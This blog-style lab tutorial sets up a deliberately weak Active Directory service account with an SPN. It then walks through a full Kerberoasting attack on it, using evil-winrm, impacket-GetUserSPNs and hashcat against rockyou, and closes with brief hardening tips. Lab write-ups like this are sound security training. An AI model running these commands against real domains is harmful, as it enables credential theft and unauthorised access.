Post cover image
setspn

August 13, 2026

Build My AD Pentesting Labs (2): Implement Kerberoasting Vuln on my AD Labs

So we gonna implement kerberoasting vuln in here, build, attack, protect

By Zamh Putra

8 min read

what is kerberoasting, well its simply like

chill_guy: hey can u gimme my TGT (asking DC01)
DC01: sure do i know you?
chill_guy: yes i am chill_guy:letmein
DC01: aaa i see i know you, here is your TGT
chill_guy: sir can i ride car-01 on svc_car?
DC01: well, gimme ur TGT first i need to validate you
chill_guy: here is my TGT sir
DC01: hmm its correct and valid member, alright here is ur TGS
DC01: but keep in mind, you just only can tapping this TGS on card place
DC01: so you will ride your car-01 after, the car automatically come to u

*and chill_guy crack the TGS for getting their secret password
*after that chill_guy input this secret pass into svc_car garage
*then chill_guy riding car-05 which the sports luxury rare car

but in real case especially attacker side, we can just see these scenes

chill_guy: here is my TGT sir
DC01: hmm its correct and valid member, alright here is ur TGS
DC01: but keep in mind, you just only can tapping this TGS on card place
DC01: so you will ride your car-01 after, the car automatically come to u

*and chill_guy crack the TGS for getting their secret password
*after that chill_guy input this secret pass into svc_car garage
*then chill_guy riding car-05 which the sports luxury rare car

cause we should have "chill_guy:letmein" credential first to doing kerberoasting, the previous scene was created by default when we append chill_guy into our Active Directory its valid user at there

so yeah our goal is accessing svc_car at the end to access the luxury car

Build the Scenario / Attack Surfaces

Setup copy paste on VM

firstly we need to setup our VM, so we cannot copy and paste from our host machine to our VM

on VM we need open file explorer -> this pc -> open VBoxWindowsAdditions

None

then just next next next install and finish

None

then just try to copy paste, if not working you can search "VBoxTray" and run it then try to copy paste again after

Setup to Creating Users

so i wanna make this creds first

svc_car:dragonballz
chill_guy:letmein

but, in windows we need to disabled Password Complexity Policy

so by default windows ask u to make strong password including

- number
- lowercase char
- uppercase char
- unique char (!,?_,.etc)

we need to disabled that first now, why ? because if we are in attacking phase we are gonna use rockyou.txt for cracking wordlist, which we should make victim password weakness or contains on rockyou.txt

aight, go to the server manager -> tools -> group policy management

None

expands ur domain, linked group policy object, right click to default domain policy, and edit

None

Computer Configuration -> Policies -> Windows Settings -> Security Settings -> Account Policies -> Password Policy

None

and config ur password on the right side

None

i do my own like this

None

well once again its up to u , next we need to create our users

Create Users

there are 2 ways to create users, either u choose make it with GUI or CLI

if u wanna do that by CLI just run this command on powershell


New-ADUser -Name "svc_car" `
  -SamAccountName "svc_car" `
  -AccountPassword (ConvertTo-SecureString "dragonballz" -AsPlainText -Force) `
  -Enabled $true `
  -PasswordNeverExpires $true

New-ADUser -Name "chill_guy" `
  -SamAccountName "chill_guy" `
  -AccountPassword (ConvertTo-SecureString "letmein" -AsPlainText -Force) `
  -Enabled $true

but in my case, i do this by GUI

first, u need to go: server manager -> tools -> Active Directory Users and Computers

None

then go to the users and make some new users with this: Users -> right click -> new -> User

None

svc car like this, with password dragonballz, dont forget to check "Password never expires" done finish

None

next we create chill_guy:letmein with the same method as well

None

but, we need to append our new users into remote management group, cause in our case we should accessing them via evil-winrm in our attacking phase

go to the server manager -> tools -> Active Directory Users and Computers, cause we r in domain controller

None

then go to the builtin -> remote management users -> and click 2x

None

then member -> add -> those users -> apply

None

then just okay

done, after this we need to register SPN (service principal name) to our users

Register SPN

well its more easy to do with CLI method

firstly we need to create Cars folder, its like our case recently make it similar and same

just create folder Cars on C:, and several files on there with value each cars type

None

also our main goals, car-05 the sport one

None

after that, go to the powershell and do this command

setspn -A car-garage-service/svc_car.batagor.jmk svc_car

and verify with this

setspn -L svc_car
None

Set NTFS (new technology file system) Permission per Folder

so if we know RWX read write execute on linux, i think its kinda similar with this case

we have 2 methods for doing this phase

if u wanna do these all with CLI just run this command

# chill_guy cars privilege access -> R = read
icacls "C:\Cars\car-01" /grant batagor\chill_guy:(OI)(CI)R

# svc_car cars privilege access -> F = Full Control, and deny chill_guy
icacls "C:\Cars\car-05" /grant batagor\svc_car:(OI)(CI)F
icacls "C:\Cars\car-05" /deny batagor\chill_guy:(OI)(CI)F

and verify after

icacls "C:\Cars\car-01"
icacls "C:\Cars\car-05"

but i wanna do these all via GUI

firstly go to your file, for example i do for my Cars folder first

just right click your folder -> properties -> security -> edit -> input the names and check names

None

full control for svc user

None

and deny all car-03 until car-05 from chill_guy, do it 1 by 1 then apply and okay

None

well its more easy if you make grouping system like whos group are have priv to access expensive car and cheap car, but i do it manually for now

now we can verify them with icacls

None

now its done, chill_guy have full control on car-01 and denied on car-05, lets attack'em now

Attack Phase

now we are chill_guy, wanna ride luxury car, which in car-05 room

firstly we log in and access our normal car with this command

evil-winrm -i $IP -u chill_guy -p 'letmein'

and we can access our car

evil-winrm -i $IP -u chill_guy -p 'letmein'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

*Evil-WinRM* PS C:\Users\chill_guy\Documents> cd C:\Cars
*Evil-WinRM* PS C:\Cars> ls

    Directory: C:\Cars

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        8/13/2026   1:42 AM                car-01
d-----        8/13/2026   1:43 AM                car-02
d-----        8/13/2026   1:43 AM                car-03
d-----        8/13/2026   1:44 AM                car-04
d-----        8/13/2026   1:44 AM                car-05

*Evil-WinRM* PS C:\Cars> cat car-01/car-01.txt
Chill Car
*Evil-WinRM* PS C:\Cars> cat car-02/car-02.txt
Normal Car

well we can use those cars, now we try to ride car-05 which the expensive cars

+ cat car-05/car-05.txt
+ ~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (C:\Cars\car-05\car-05.txt:String) [Get-Content], UnauthorizedAccessException
    + FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommand
Cannot find path 'C:\Cars\car-05\car-05.txt' because it does not exist.
At line:1 char:1
+ cat car-05/car-05.txt
+ ~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (C:\Cars\car-05\car-05.txt:String) [Get-Content], ItemNotFoundException
    + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetContentCommand

we got denied and cant found this file

now we should enum, which service that have privilege for these cars with this commmand

setspn -Q */*

and the output will be

*Evil-WinRM* PS C:\Cars> setspn -Q */*

Checking domain DC=batagor,DC=jmk
CN=DC-01,OU=Domain Controllers,DC=batagor,DC=jmk
 Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/DC-01.batagor.jmk
 ldap/DC-01.batagor.jmk/ForestDnsZones.batagor.jmk
 ldap/DC-01.batagor.jmk/DomainDnsZones.batagor.jmk
 DNS/DC-01.batagor.jmk
 GC/DC-01.batagor.jmk/batagor.jmk
 RestrictedKrbHost/DC-01.batagor.jmk
 RestrictedKrbHost/DC-01
 RPC/e11d5b4d-23a8-4a7f-8c61-355f1130108e._msdcs.batagor.jmk
 HOST/DC-01/BATAGOR
 HOST/DC-01.batagor.jmk/BATAGOR
 HOST/DC-01
 HOST/DC-01.batagor.jmk
 HOST/DC-01.batagor.jmk/batagor.jmk
 E3514235-4B06-11D1-AB04-00C04FC2DCD2/e11d5b4d-23a8-4a7f-8c61-355f1130108e/batagor.jmk
 ldap/DC-01/BATAGOR
 ldap/e11d5b4d-23a8-4a7f-8c61-355f1130108e._msdcs.batagor.jmk
 ldap/DC-01.batagor.jmk/BATAGOR
 ldap/DC-01
 ldap/DC-01.batagor.jmk
 ldap/DC-01.batagor.jmk/batagor.jmk
CN=krbtgt,CN=Users,DC=batagor,DC=jmk
 kadmin/changepw
CN=svc-car,CN=Users,DC=batagor,DC=jmk
 car-garage-service/svc_car.batagor.jmk

Existing SPN found!

we found this

CN=svc-car,CN=Users,DC=batagor,DC=jmk
 car-garage-service/svc_car.batagor.jmk

Existing SPN found!

now we try to get TGS for this service with this command

impacket-GetUserSPNs -request -dc-ip $IP batagor.jmk/chill_guy:letmein

but one more thing, if u asking for TGS u need to synchronize your time, which DC-01 just want to give u TGS if you have the same time with him, because these all usually the internal system so imagine u r in the same places/building now

faketime "$(ntpdate -q $IP | cut -d ' ' -f 1,2)" impacket-GetUserSPNs -request -dc-ip $IP batagor.jmk/chill_guy:letmein

and you will get this output

> faketime "$(ntpdate -q $IP | cut -d ' ' -f 1,2)" impacket-GetUserSPNs -request -dc-ip $IP batagor.jmk/chill_guy:letmein
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName                    Name     MemberOf                                                 PasswordLastSet             LastLogon  Delegation
--------------------------------------  -------  -------------------------------------------------------  --------------------------  ---------  ----------
car-garage-service/svc_car.batagor.jmk  svc_car  CN=Remote Management Users,CN=Builtin,DC=batagor,DC=jmk  2026-08-13 15:25:16.844611  <never>

[-] CCache file is not found. Skipping...
$krb5tgs$23$*svc_car$BATAGOR.JMK$batagor.jmk/svc_car*$[hash]$[hash]

now we can crack our krb hash , but we need to place those hash on variable for easily our process

 KRB='$krb5tgs$23$*svc_car$BATAGOR.JMK$batagor.jmk/svc_car*$[hash]$[hash]'

then we analyse those hash

hashcat --identify $KRB

and output will be

The following hash-mode match the structure of your input hash:

      # | Name                                                       | Category
  ======+============================================================+======================================
  13100 | Kerberos 5, etype 23, TGS-REP                              | Network Protocol

then just crack it now with the same code module hashcat: 13100

hashcat -m 13100 $KRB /usr/share/wordlists/rockyou.txt

well we got the output dragonballz

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*svc_car$BATAGOR.JMK$batagor.jmk/svc_ca...e8d4cd
Time.Started.....: Thu Aug 13 20:29:22 2026 (0 secs)
Time.Estimated...: Thu Aug 13 20:29:22 2026 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   484.2 kH/s (1.13ms) @ Accel:512 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4096/14344385 (0.03%)
Rejected.........: 0/4096 (0.00%)
Restore.Point....: 3072/14344385 (0.02%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: adriano -> oooooo
Hardware.Mon.#1..: Util: 60%

Started: Thu Aug 13 20:29:20 2026
Stopped: Thu Aug 13 20:29:24 2026
> hashcat -m 13100 $KRB /usr/share/wordlists/rockyou.txt --show
$krb5tgs$23$*svc_car$BATAGOR.JMK$batagor.jmk/svc_car*$[hash]$:dragonballz

and now we try to access our luxury car with those credentials

> evil-winrm -i $IP -u svc_car -p 'dragonballz'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_car\Documents> cd C:\Cars
*Evil-WinRM* PS C:\Cars> cat car-05/car-05.txt
Sport and Luxury Rare Car
*Evil-WinRM* PS C:\Cars>

congratulation, u can ride ur luxury car now 😜💀🧀👍🗣️👑

well its not the perfect article, besides krb hash have so many type, maybe you will found the modern krb hash such as AES in ur case

How to Protect

well we was disabled the default password policy from windows, and disabled our windows security also, firstly dont that in the real world

summarize

  • dont use a weak password, make sure at least ur password doesnt appear on rockyou.txt
  • use gMSA (Group Managed Service Accounts)
  • etc etc, explore the other solutions right KEEP IT UP ! 🧢🧢🧢🧢🧢🧢🧢